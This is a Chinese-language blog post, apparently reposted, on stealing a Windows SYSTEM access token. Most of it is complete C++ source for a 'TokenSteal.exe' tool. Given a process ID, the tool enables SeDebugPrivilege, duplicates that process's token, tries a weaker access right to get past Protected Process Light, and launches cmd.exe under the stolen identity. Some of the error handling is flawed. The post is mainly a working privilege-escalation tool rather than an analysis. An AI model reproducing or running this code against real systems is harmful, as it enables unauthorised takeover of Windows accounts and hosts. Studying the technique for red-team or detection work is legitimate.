對於 SYSTEM 令牌竊取的實現


到目前,才剛知道賬號克隆原來就是RID劫持!

參考文章:https://www.anquanke.com/post/id/187895
參考視頻:https://www.bugbank.cn/live/view.html?id=113027

實現:

OpenProcess() -> OpenProcessToken() -> ImpersonateLoggedOnUser() -> DuplicateTokenEx() -> CreateProcessWithTokenW()

OpenProcessToken()接受一個進程句柄和一個訪問權限標志作為輸入參數。

它將打開與進程關聯的訪問令牌的句柄。必須使用TOKEN_QUERYTOKEN_DUPLICATE訪問權限打開令牌句柄,才能在ImpersonateLoggedOnUser()中使用

上面同樣也可以使用DuplicateTokenEx()參數為TOKEN_DUPLICATE來復制相同的令牌

如何模擬身份?

如果我們想以另一個用戶的身份生成一個進程,我們必須在 OpenProcessToken()的結果令牌句柄上使用 DuplicateTokenEx()來創建一個新的訪問令牌。

在用DuplicateTokenEx函數的時候對應的參數必須設置如下訪問權限參數來調用 DuplicateTokenEx() ,才能通過使用 CreateProcessWithTokenW()進行啟動進程

TOKEN_ADJUST_DEFAULT
TOKEN_ADJUST_SESSIONID
TOKEN_QUERY
TOKEN_DUPLICATE
TOKEN_ASSIGN_PRIMARY

在其中還有個關於 Protected Process Light 的屬性,簡稱PPL ,某些進程會受PPL屬性保護的時候,該進程就會存在PsProtectedSignerWinTcb-Light屬性,比如

此時調用OpenProcess()的時候參數權限改為PROCESS_QUERY_LIMITED_INFORMATION就可以解決

另外自己測試的時候還發現了,即是改了OpenProcess的PROCESS_QUERY_LIMITED_INFORMATION並不是在每個windows系統上都可以,自己測試的win7是可以,但是win2012 win10卻不行

實現代碼如下

#include <windows.h>
#include <iostream>
#include <Lmcons.h>
#include <comdef.h>

using namespace std;

//設置權限
BOOL SetPrivilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)
{
	TOKEN_PRIVILEGES tp;
	LUID luid; //局部的唯一標識符

	// 查看系統權限的特權值
	if (!LookupPrivilegeValue(NULL,lpszPrivilege,&luid)){
		printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
		return FALSE;
	}

	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	if (bEnablePrivilege){
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //設置要添加的權限
	}else{
		tp.Privileges[0].Attributes = 0;
	}

	// 添加管理員相應的權限
	if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL)){
		printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
		return FALSE;
	}

	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED){
		printf("[-] The token does not have the specified privilege. \n");
		return FALSE;
	}

	return TRUE;
}

//獲取當前的用戶名
string get_username(){
	TCHAR username[UNLEN + 1];
	DWORD username_len = UNLEN + 1;
	GetUserName(username, &username_len);
	wstring username_w(username);
	string username_s(username_w.begin(), username_w.end());
	return username_s;
}

int main(int argc, char** argv) {

	if (argc <= 1) {
		printf("USAGE: TokenSteal.exe Process PID");
		return -1;
	}

	printf("[+] Current user is: %s\n", (get_username()).c_str());

	char* pid_c = argv[1];
	DWORD PID_TO_IMPERSONATE = atoi(pid_c);
	HANDLE tokenHandle = NULL;
	HANDLE duplicateTokenHandle = NULL;

	//創建進程所必須的結構
	STARTUPINFO startupInfo;
	PROCESS_INFORMATION processInformation;
	
	ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
	ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
	startupInfo.cb = sizeof(STARTUPINFO);

	HANDLE currentTokenHandle = NULL;

	//獲取當前自身進程的句柄進行調整權限
	BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
	if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)){
		printf("[+] SeDebugPrivilege enabled!\n");
	}

	// OpenProcess獲取指定進程的句柄
	HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);
	if (GetLastError() == NULL)
		printf("[+] OpenProcess() success!\n");
	else
	{
		//繞過受微軟的進程保護
		HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
		if (GetLastError() == NULL) {
			printf("[+] OpenProcess() success!\n");
		}
		else
		{
			printf("[-] OpenProcess() Return Code: %i\n", processHandle);
			printf("[-] OpenProcess() Error: %i\n", GetLastError());
		}
	}

	// 獲取指定進程的句柄令牌
	BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle);
	if (GetLastError() == NULL)
		printf("[+] OpenProcessToken() success!\n");
	else
	{
		printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
		printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
	}

	//模擬一個登陸用戶的訪問令牌的安全上下文
	BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
	if (GetLastError() == NULL)
	{
		printf("[+] ImpersonatedLoggedOnUser() success!\n");
		printf("[+] Current user is: %s\n", (get_username()).c_str());
		printf("[+] Reverting thread to original user context\n");
		RevertToSelf();
	}
	else
	{
		printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
		printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
	}

	// 拷貝一個當前令牌相同權限的令牌
	BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
	if (GetLastError() == NULL)
		printf("[+] DuplicateTokenEx() success!\n");
	else
	{
		printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
		printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
	}

	// 創建 指定令牌啟動的進程
	BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
	if (GetLastError() == NULL)
		printf("[+] Process spawned!\n");
	else
	{
		printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
		printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
	}

	return 0;
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM